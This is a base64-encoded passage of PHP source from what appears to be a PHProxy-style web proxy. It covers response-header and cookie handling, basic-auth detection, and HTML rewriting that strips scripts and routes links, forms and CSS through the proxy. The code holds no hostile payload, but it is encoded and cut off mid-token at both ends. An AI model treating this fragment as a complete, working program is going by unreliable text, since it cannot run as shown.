JyAnLCAnJywgc3RydG9sb3dlcigkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtdHlwZSddWzBdKSksIDIpOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxlbmd0aCddKSkNCiAgICB7DQogICAgICAgICRfY29udGVudF9sZW5ndGggPSAkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF07DQogICAgICAgIHVuc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1sZW5ndGgnXSwgJF9yZXNwb25zZV9rZXlzWydjb250ZW50LWxlbmd0aCddKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1kaXNwb3NpdGlvbiddKSkNCiAgICB7DQogICAgICAgICRfY29udGVudF9kaXNwID0gJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWRpc3Bvc2l0aW9uJ11bMF07DQogICAgICAgIHVuc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1kaXNwb3NpdGlvbiddLCAkX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtZGlzcG9zaXRpb24nXSk7DQogICAgfQ0KICAgIGlmIChpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ3NldC1jb29raWUnXSkgJiYgJF9mbGFnc1snYWNjZXB0X2Nvb2tpZXMnXSkNCiAgICB7DQogICAgICAgIGZvcmVhY2ggKCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddIGFzICRjb29raWUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRuYW1lID0gJHZhbHVlID0gJGV4cGlyZXMgPSAkcGF0aCA9ICRkb21haW4gPSAkc2VjdXJlID0gJGV4cGlyZXNfdGltZSA9ICcnOw0KDQogICAgICAgICAgICBwcmVnX21hdGNoKCcjXlxzKihbXj07LFxzXSopXHMqPT9ccyooW147XSopIycsICAkY29va2llLCAkbWF0Y2gpICYmIGxpc3QoLCAkbmFtZSwgJHZhbHVlKSA9ICRtYXRjaDsNCiAgICAgICAgICAgIHByZWdfbWF0Y2goJyM7XHMqZXhwaXJlc1xzKj1ccyooW147XSopI2knLCAgICAgICRjb29raWUsICRtYXRjaCkgJiYgbGlzdCgsICRleHBpcmVzKSAgICAgID0gJG1hdGNoOw0KICAgICAgICAgICAgcHJlZ19tYXRjaCgnIztccypwYXRoXHMqPVxzKihbXjssXHNdKikjaScsICAgICAgJGNvb2tpZSwgJG1hdGNoKSAmJiBsaXN0KCwgJHBhdGgpICAgICAgICAgPSAkbWF0Y2g7DQogICAgICAgICAgICBwcmVnX21hdGNoKCcjO1xzKmRvbWFpblxzKj1ccyooW147LFxzXSopI2knLCAgICAkY29va2llLCAkbWF0Y2gpICYmIGxpc3QoLCAkZG9tYWluKSAgICAgICA9ICRtYXRjaDsNCiAgICAgICAgICAgIHByZWdfbWF0Y2goJyM7XHMqKHNlY3VyZVxiKSNpJywgICAgICAgICAgICAgICAgICRjb29raWUsICRtYXRjaCkgJiYgbGlzdCgsICRzZWN1cmUpICAgICAgID0gJG1hdGNoOw0KICAgIA0KICAgICAgICAgICAgJGV4cGlyZXNfdGltZSA9IGVtcHR5KCRleHBpcmVzKSA/IDAgOiBpbnR2YWwoQHN0cnRvdGltZSgkZXhwaXJlcykpOw0KICAgICAgICAgICAgJGV4cGlyZXMgPSAoJF9mbGFnc1snc2Vzc2lvbl9jb29raWVzJ10gJiYgIWVtcHR5KCRleHBpcmVzKSAmJiB0aW1lKCktJGV4cGlyZXNfdGltZSA8IDApID8gJycgOiAkZXhwaXJlczsNCiAgICAgICAgICAgICRwYXRoICAgID0gZW1wdHkoJHBhdGgpICAgPyAnLycgOiAkcGF0aDsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIGlmIChlbXB0eSgkZG9tYWluKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZG9tYWluID0gJF91cmxfcGFydHNbJ2hvc3QnXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZG9tYWluID0gJy4nIC4gc3RydG9sb3dlcihzdHJfcmVwbGFjZSgnLi4nLCAnLicsIHRyaW0oJGRvbWFpbiwgJy4nKSkpOw0KICAgIA0KICAgICAgICAgICAgICAgIGlmICgoIXByZWdfbWF0Y2goJyNcUScgLiAkZG9tYWluIC4gJ1xFJCNpJywgJF91cmxfcGFydHNbJ2hvc3QnXSkgJiYgJGRvbWFpbiAhPSAnLicgLiAkX3VybF9wYXJ0c1snaG9zdCddKSB8fCAoc3Vic3RyX2NvdW50KCRkb21haW4sICcuJykgPCAyICYmICRkb21haW57MH0gPT0gJy4nKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChjb3VudCgkX0NPT0tJRSkgPj0gMTUgJiYgdGltZSgpLSRleHBpcmVzX3RpbWUgPD0gMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkX3NldF9jb29raWVbXSA9IGFkZF9jb29raWUoY3VycmVudCgkX0NPT0tJRSksICcnLCAxKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJF9zZXRfY29va2llW10gPSBhZGRfY29va2llKCJDT09LSUU7JG5hbWU7JHBhdGg7JGRvbWFpbiIsICIkdmFsdWU7JHNlY3VyZSIsICRleHBpcmVzX3RpbWUpOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmIChpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ3NldC1jb29raWUnXSkpDQogICAgew0KICAgICAgICB1bnNldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ3NldC1jb29raWUnXSwgJF9yZXNwb25zZV9rZXlzWydzZXQtY29va2llJ10pOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfc2V0X2Nvb2tpZSkpDQogICAgew0KICAgICAgICAkX3Jlc3BvbnNlX2tleXNbJ3NldC1jb29raWUnXSA9ICdTZXQtQ29va2llJzsNCiAgICAgICAgJF9yZXNwb25zZV9oZWFkZXJzWydzZXQtY29va2llJ10gPSAkX3NldF9jb29raWU7DQogICAgfQ0KICAgIGlmIChpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ3AzcCddKSAmJiBwcmVnX21hdGNoKCcjcG9saWN5cmVmXHMqPVxzKltcJyJdPyhbXlwnIlxzXSopW1wnIl0/I2knLCAkX3Jlc3BvbnNlX2hlYWRlcnNbJ3AzcCddWzBdLCAkbWF0Y2hlcykpDQogICAgew0KICAgICAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbJ3AzcCddWzBdID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF0sICdwb2xpY3lyZWY9IicgLiBjb21wbGV0ZV91cmwoJG1hdGNoZXNbMV0pIC4gJyInLCAkX3Jlc3BvbnNlX2hlYWRlcnNbJ3AzcCddWzBdKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sncmVmcmVzaCddKSAmJiBwcmVnX21hdGNoKCcjKFswLTlcc10qO1xzKlVSTFxzKj0pXHMqKFxTKikjaScsICRfcmVzcG9uc2VfaGVhZGVyc1sncmVmcmVzaCddWzBdLCAkbWF0Y2hlcykpDQogICAgew0KICAgICAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbJ3JlZnJlc2gnXVswXSA9ICRtYXRjaGVzWzFdIC4gY29tcGxldGVfdXJsKCRtYXRjaGVzWzJdKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snbG9jYXRpb24nXSkpDQogICAgeyAgIA0KICAgICAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbJ2xvY2F0aW9uJ11bMF0gPSBjb21wbGV0ZV91cmwoJF9yZXNwb25zZV9oZWFkZXJzWydsb2NhdGlvbiddWzBdKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sndXJpJ10pKQ0KICAgIHsgICANCiAgICAgICAgJF9yZXNwb25zZV9oZWFkZXJzWyd1cmknXVswXSA9IGNvbXBsZXRlX3VybCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ3VyaSddWzBdKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1sb2NhdGlvbiddKSkNCiAgICB7ICAgDQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1sb2NhdGlvbiddWzBdID0gY29tcGxldGVfdXJsKCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1sb2NhdGlvbiddWzBdKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29ubmVjdGlvbiddKSkNCiAgICB7DQogICAgICAgIHVuc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29ubmVjdGlvbiddLCAkX3Jlc3BvbnNlX2tleXNbJ2Nvbm5lY3Rpb24nXSk7DQogICAgfQ0KICAgIGlmIChpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2tlZXAtYWxpdmUnXSkpDQogICAgew0KICAgICAgICB1bnNldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2tlZXAtYWxpdmUnXSwgJF9yZXNwb25zZV9rZXlzWydrZWVwLWFsaXZlJ10pOw0KICAgIH0NCiAgICBpZiAoJF9yZXNwb25zZV9jb2RlID09IDQwMSAmJiBpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ3d3dy1hdXRoZW50aWNhdGUnXSkgJiYgcHJlZ19tYXRjaCgnI2Jhc2ljXHMrKD86cmVhbG09IiguKj8pIik/I2knLCAkX3Jlc3BvbnNlX2hlYWRlcnNbJ3d3dy1hdXRoZW50aWNhdGUnXVswXSwgJG1hdGNoZXMpKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfYXV0aF9jcmVkc1skbWF0Y2hlc1sxXV0pICYmICEkX3F1aXQpDQogICAgICAgIHsNCiAgICAgICAgICAgICRfYmFzaWNfYXV0aF9yZWFsbSAgPSAkbWF0Y2hlc1sxXTsNCiAgICAgICAgICAgICRfYmFzaWNfYXV0aF9oZWFkZXIgPSAnJzsNCiAgICAgICAgICAgICRfcmV0cnkgPSAkX3F1aXQgPSB0cnVlOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgc2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5kZXgnLCAnY2F0ZWdvcnknID0+ICdhdXRoJywgJ3JlYWxtJyA9PiAkbWF0Y2hlc1sxXSkpOw0KICAgICAgICB9DQogICAgfQ0KfQ0Kd2hpbGUgKCRfcmV0cnkpOw0KDQovLw0KLy8gT1VUUFVUIFJFU1BPTlNFIElGIE5PIFBST1hJRklDQVRJT04gSVMgTkVFREVEDQovLyAgDQoNCmlmICghaXNzZXQoJF9wcm94aWZ5WyRfY29udGVudF90eXBlXSkpDQp7DQogICAgQHNldF90aW1lX2xpbWl0KDApOw0KICAgDQogICAgJF9yZXNwb25zZV9rZXlzWydjb250ZW50LWRpc3Bvc2l0aW9uJ10gPSAnQ29udGVudC1EaXNwb3NpdGlvbic7DQogICAgJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWRpc3Bvc2l0aW9uJ11bMF0gPSBlbXB0eSgkX2NvbnRlbnRfZGlzcCkgPyAoJF9jb250ZW50X3R5cGUgPT0gJ2FwcGxpY2F0aW9uL29jdGV0X3N0cmVhbScgPyAnYXR0YWNobWVudCcgOiAnaW5saW5lJykgLiAnOyBmaWxlbmFtZT0iJyAuICRfdXJsX3BhcnRzWydmaWxlJ10gLiAnIicgOiAkX2NvbnRlbnRfZGlzcDsNCiAgICANCiAgICBpZiAoJF9jb250ZW50X2xlbmd0aCAhPT0gZmFsc2UpDQogICAgew0KICAgICAgICBpZiAoJF9jb25maWdbJ21heF9maWxlX3NpemUnXSAhPSAtMSAmJiAkX2NvbnRlbnRfbGVuZ3RoID4gJF9jb25maWdbJ21heF9maWxlX3NpemUnXSkNCiAgICAgICAgew0KICAgICAgICAgICAgc2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5kZXgnLCAnY2F0ZWdvcnknID0+ICdlcnJvcicsICdncm91cCcgPT4gJ3Jlc291cmNlJywgJ3R5cGUnID0+ICdmaWxlX3NpemUnKSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRfcmVzcG9uc2Vfa2V5c1snY29udGVudC1sZW5ndGgnXSA9ICdDb250ZW50LUxlbmd0aCc7DQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1sZW5ndGgnXVswXSA9ICRfY29udGVudF9sZW5ndGg7DQogICAgfQ0KICAgIA0KICAgICRfcmVzcG9uc2VfaGVhZGVycyAgID0gYXJyYXlfZmlsdGVyKCRfcmVzcG9uc2VfaGVhZGVycyk7DQogICAgJF9yZXNwb25zZV9rZXlzICAgICAgPSBhcnJheV9maWx0ZXIoJF9yZXNwb25zZV9rZXlzKTsNCiAgICANCiAgICBoZWFkZXIoYXJyYXlfc2hpZnQoJF9yZXNwb25zZV9rZXlzKSk7DQogICAgYXJyYXlfc2hpZnQoJF9yZXNwb25zZV9oZWFkZXJzKTsNCiAgICANCiAgICBmb3JlYWNoICgkX3Jlc3BvbnNlX2hlYWRlcnMgYXMgJG5hbWUgPT4gJGFycmF5KQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJGFycmF5IGFzICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaGVhZGVyKCRfcmVzcG9uc2Vfa2V5c1skbmFtZV0gLiAnOiAnIC4gJHZhbHVlLCBmYWxzZSk7DQogICAgICAgIH0NCiAgICB9DQogICAgICAgIA0KICAgIGRvDQogICAgew0KICAgICAgICAkZGF0YSA9IGZyZWFkKCRfc29ja2V0LCA4MTkyKTsNCiAgICAgICAgZWNobyAkZGF0YTsNCiAgICB9DQogICAgd2hpbGUgKGlzc2V0KCRkYXRhezB9KSk7DQogICAgICAgIA0KICAgIGZjbG9zZSgkX3NvY2tldCk7DQogICAgZXhpdCgwKTsNCn0NCg0KZG8NCnsNCiAgICAkZGF0YSA9IEBmcmVhZCgkX3NvY2tldCwgODE5Mik7IC8vIHNpbGVuY2VkIHRvIGF2b2lkIHRoZSAibm9ybWFsIiB3YXJuaW5nIGJ5IGEgZmF1bHR5IFNTTCBjb25uZWN0aW9uDQogICAgJF9yZXNwb25zZV9ib2R5IC49ICRkYXRhOw0KfSAgIA0Kd2hpbGUgKGlzc2V0KCRkYXRhezB9KSk7DQogICANCnVuc2V0KCRkYXRhKTsNCmZjbG9zZSgkX3NvY2tldCk7DQoNCi8vDQovLyBNT0RJRlkgQU5EIERVTVAgUkVTT1VSQ0UNCi8vDQoNCmlmICgkX2NvbnRlbnRfdHlwZSA9PSAndGV4dC9jc3MnKQ0Kew0KICAgICRfcmVzcG9uc2VfYm9keSA9IHByb3hpZnlfY3NzKCRfcmVzcG9uc2VfYm9keSk7DQp9DQplbHNlDQp7DQogICAgaWYgKCRfZmxhZ3NbJ3N0cmlwX3RpdGxlJ10pDQogICAgew0KICAgICAgICAkX3Jlc3BvbnNlX2JvZHkgPSBwcmVnX3JlcGxhY2UoJyMoPFxzKnRpdGxlW14+XSo+KSguKj8pKDxccyovdGl0bGVbXj5dKj4pI2lzJywgJyQxJDMnLCAkX3Jlc3BvbnNlX2JvZHkpOw0KICAgIH0NCiAgICBpZiAoJF9mbGFnc1sncmVtb3ZlX3NjcmlwdHMnXSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHByZWdfcmVwbGFjZSgnIzxccypzY3JpcHRbXj5dKj8+Lio/PFxzKi9ccypzY3JpcHRccyo+I3NpJywgJycsICRfcmVzcG9uc2VfYm9keSk7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHByZWdfcmVwbGFjZSgiIyhcYm9uW2Etel0rKVxzKj1ccyooPzpcIihbXlwiXSopXCI/fCcoW14nXSopJz98KFteJ1wiXHM+XSopKT8jaSIsICcnLCAkX3Jlc3BvbnNlX2JvZHkpOw0KICAgICAgICAkX3Jlc3BvbnNlX2JvZHkgPSBwcmVnX3JlcGxhY2UoJyM8bm9zY3JpcHQ+KC4qPyk8L25vc2NyaXB0PiNzaScsICIkMSIsICRfcmVzcG9uc2VfYm9keSk7DQogICAgfQ0KICAgIGlmICghJF9mbGFnc1snc2hvd19pbWFnZXMnXSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHByZWdfcmVwbGFjZSgnIzwoaW1nfGltYWdlKVtePl0qPz4jc2knLCAnJywgJF9yZXNwb25zZV9ib2R5KTsNCiAgICB9DQogICAgDQogICAgLy8NCiAgICAvLyBQUk9YSUZZIEhUTUwgUkVTT1VSQ0UNCiAgICAvLw0KICAgIA0KICAgICR0YWdzID0gYXJyYXkNCiAgICAoDQogICAgICAgICdhJyAgICAgICAgICA9PiBhcnJheSgnaHJlZicpLA0KICAgICAgICAnaW1nJyAgICAgICAgPT4gYXJyYXkoJ3NyYycsICdsb25nZGVzYycpLA0KICAgICAgICAnaW1hZ2UnICAgICAgPT4gYXJyYXkoJ3NyYycsICdsb25nZGVzYycpLA0KICAgICAgICAnYm9keScgICAgICAgPT4gYXJyYXkoJ2JhY2tncm91bmQnKSwNCiAgICAgICAgJ2Jhc2UnICAgICAgID0+IGFycmF5KCdocmVmJyksDQogICAgICAgICdmcmFtZScgICAgICA9PiBhcnJheSgnc3JjJywgJ2xvbmdkZXNjJyksDQogICAgICAgICdpZnJhbWUnICAgICA9PiBhcnJheSgnc3JjJywgJ2xvbmdkZXNjJyksDQogICAgICAgICdoZWFkJyAgICAgICA9PiBhcnJheSgncHJvZmlsZScpLA0KICAgICAgICAnbGF5ZXInICAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAnaW5wdXQnICAgICAgPT4gYXJyYXkoJ3NyYycsICd1c2VtYXAnKSwNCiAgICAgICAgJ2Zvcm0nICAgICAgID0+IGFycmF5KCdhY3Rpb24nKSwNCiAgICAgICAgJ2FyZWEnICAgICAgID0+IGFycmF5KCdocmVmJyksDQogICAgICAgICdsaW5rJyAgICAgICA9PiBhcnJheSgnaHJlZicsICdzcmMnLCAndXJuJyksDQogICAgICAgICdtZXRhJyAgICAgICA9PiBhcnJheSgnY29udGVudCcpLA0KICAgICAgICAncGFyYW0nICAgICAgPT4gYXJyYXkoJ3ZhbHVlJyksDQogICAgICAgICdhcHBsZXQnICAgICA9PiBhcnJheSgnY29kZWJhc2UnLCAnY29kZScsICdvYmplY3QnLCAnYXJjaGl2ZScpLA0KICAgICAgICAnb2JqZWN0JyAgICAgPT4gYXJyYXkoJ3VzZXJtYXAnLCAnY29kZWJhc2UnLCAnY2xhc3NpZCcsICdhcmNoaXZlJywgJ2RhdGEnKSwNCiAgICAgICAgJ3NjcmlwdCcgICAgID0+IGFycmF5KCdzcmMnKSwNCiAgICAgICAgJ3NlbGVjdCcgICAgID0+IGFycmF5KCdzcmMnKSwNCiAgICAgICAgJ2hyJyAgICAgICAgID0+IGFycmF5KCdzcmMnKSwNCiAgICAgICAgJ3RhYmxlJyAgICAgID0+IGFycmF5KCdiYWNrZ3JvdW5kJyksDQogICAgICAgICd0cicgICAgICAgICA9PiBhcnJheSgnYmFja2dyb3VuZCcpLA0KICAgICAgICAndGgnICAgICAgICAgPT4gYXJyYXkoJ2JhY2tncm91bmQnKSwNCiAgICAgICAgJ3RkJyAgICAgICAgID0+IGFycmF5KCdiYWNrZ3JvdW5kJyksDQogICAgICAgICdiZ3NvdW5kJyAgICA9PiBhcnJheSgnc3JjJyksDQogICAgICAgICdibG9ja3F1b3RlJyA9PiBhcnJheSgnY2l0ZScpLA0KICAgICAgICAnZGVsJyAgICAgICAgPT4gYXJyYXkoJ2NpdGUnKSwNCiAgICAgICAgJ2VtYmVkJyAgICAgID0+IGFycmF5KCdzcmMnKSwNCiAgICAgICAgJ2ZpZycgICAgICAgID0+IGFycmF5KCdzcmMnLCAnaW1hZ2VtYXAnKSwNCiAgICAgICAgJ2lsYXllcicgICAgID0+IGFycmF5KCdzcmMnKSwNCiAgICAgICAgJ2lucycgICAgICAgID0+IGFycmF5KCdjaXRlJyksDQogICAgICAgICdub3RlJyAgICAgICA9PiBhcnJheSgnc3JjJyksDQogICAgICAgICdvdmVybGF5JyAgICA9PiBhcnJheSgnc3JjJywgJ2ltYWdlbWFwJyksDQogICAgICAgICdxJyAgICAgICAgICA9PiBhcnJheSgnY2l0ZScpLA0KICAgICAgICAndWwnICAgICAgICAgPT4gYXJyYXkoJ3NyYycpDQogICAgKTsNCg0KICAgIHByZWdfbWF0Y2hfYWxsKCcjKDxccypzdHlsZVtePl0qPikoLio/KSg8XHMqL1xzKnN0eWxlW14+XSo+KSNpcycsICRfcmVzcG9uc2VfYm9keSwgJG1hdGNoZXMsIFBSRUdfU0VUX09SREVSKTsNCg0KICAgIGZvciAoJGkgPSAwLCAkY291bnRfaSA9IGNvdW50KCRtYXRjaGVzKTsgJGkgPCAkY291bnRfaTsgKyskaSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWyRpXVswXSwgJG1hdGNoZXNbJGldWzFdLiBwcm94aWZ5X2NzcygkbWF0Y2hlc1skaV1bMl0pIC4kbWF0Y2hlc1skaV1bM10sICRfcmVzcG9uc2VfYm9keSk7DQogICAgfQ0KDQogICAgcHJlZ19tYXRjaF9hbGwoIiM8XHMqKFthLXpBLVpcPy1dKykoW14+XSspPiNTIiwgJF9yZXNwb25zZV9ib2R5LCAkbWF0Y2hlcyk7DQoNCiAgICBmb3IgKCRpID0gMCwgJGNvdW50X2kgPSBjb3VudCgkbWF0Y2hlc1swXSk7ICRpIDwgJGNvdW50X2k7ICsrJGkpDQogICAgew0KICAgICAgICBpZiAoIXByZWdfbWF0Y2hfYWxsKCIjKFthLXpBLVpcLVwvXSspXHMqKD86PVxzKig/OlwiKFteXCI+XSopXCI/fCcoW14nPl0qKSc/fChbXidcIlxzXSopKSk/I1MiLCAkbWF0Y2hlc1syXVskaV0sICRtLCBQUkVHX1NFVF9PUkRFUikpDQogICAgICAgIHsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkcmVidWlsZCAgICA9IGZhbHNlOw0KICAgICAgICAkZXh0cmFfaHRtbCA9ICR0ZW1wID0gJyc7DQogICAgICAgICRhdHRycyAgICAgID0gYXJyYXkoKTsNCg0KICAgICAgICBmb3IgKCRqID0gMCwgJGNvdW50X2ogPSBjb3VudCgkbSk7ICRqIDwgJGNvdW50X2o7ICRhdHRyc1tzdHJ0b2xvd2VyKCRtWyRqXVsxXSldID0gKGlzc2V0KCRtWyRqXVs0XSkgPyAkbVskal1bNF0gOiAoaXNzZXQoJG1bJGpdWzNdKSA/ICRtWyRqXVszXSA6IChpc3NldCgkbVskal1bMl0pID8gJG1bJGpdWzJdIDogZmFsc2UpKSksICsrJGopOw0KICAgICAgICANCiAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snc3R5bGUnXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICRhdHRyc1snc3R5bGUnXSA9IHByb3hpZnlfaW5saW5lX2NzcygkYXR0cnNbJ3N0eWxlJ10pOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkdGFnID0gc3RydG9sb3dlcigkbWF0Y2hlc1sxXVskaV0pOw0KDQogICAgICAgIGlmIChpc3NldCgkdGFnc1skdGFnXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgIHN3aXRjaCAoJHRhZykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdhJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snaHJlZiddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydocmVmJ10gPSB1cmxkZWNvZGUoJGF0dHJzWydocmVmJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ2ltZyc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ3NyYyddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydzcmMnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ3NyYyddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydsb25nZGVzYyddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydsb25nZGVzYyddID0gY29tcGxldGVfdXJsKCRhdHRyc1snbG9uZ2Rlc2MnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAnZm9ybSc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2FjdGlvbiddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAodHJpbSgkYXR0cnNbJ2FjdGlvbiddKSA9PT0gJycpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydhY3Rpb24nXSA9ICRfdXJsX3BhcnRzWydwYXRoJ107DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCRhdHRyc1snbWV0aG9kJ10pIHx8IHN0cnRvbG93ZXIodHJpbSgkYXR0cnNbJ21ldGhvZCddKSkgPT09ICdnZXQnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRleHRyYV9odG1sID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicgLiAkX2NvbmZpZ1snZ2V0X2Zvcm1fbmFtZSddIC4gJyIgdmFsdWU9IicgLiBlbmNvZGVfdXJsKGNvbXBsZXRlX3VybCgkYXR0cnNbJ2FjdGlvbiddLCBmYWxzZSkpIC4gJyIgLz4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snYWN0aW9uJ10gPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydhY3Rpb24nXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ2FjdGlvbiddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdiYXNlJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snaHJlZiddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOyAgDQogICAgICAgICAgICAgICAgICAgICAgICB1cmxfcGFyc2UoJGF0dHJzWydocmVmJ10sICRfYmFzZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2hyZWYnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ2hyZWYnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAnbWV0YSc6DQogICAgICAgICAgICAgICAgICAgIGlmICgkX2ZsYWdzWydzdHJpcF9tZXRhJ10gJiYgaXNzZXQoJGF0dHJzWyduYW1lJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkX3Jlc3BvbnNlX2JvZHkgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXVskaV0sICcnLCAkX3Jlc3BvbnNlX2JvZHkpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2h0dHAtZXF1aXYnXSwgJGF0dHJzWydjb250ZW50J10pICYmIHByZWdfbWF0Y2goJyNccypyZWZyZXNoXHMqI2knLCAkYXR0cnNbJ2h0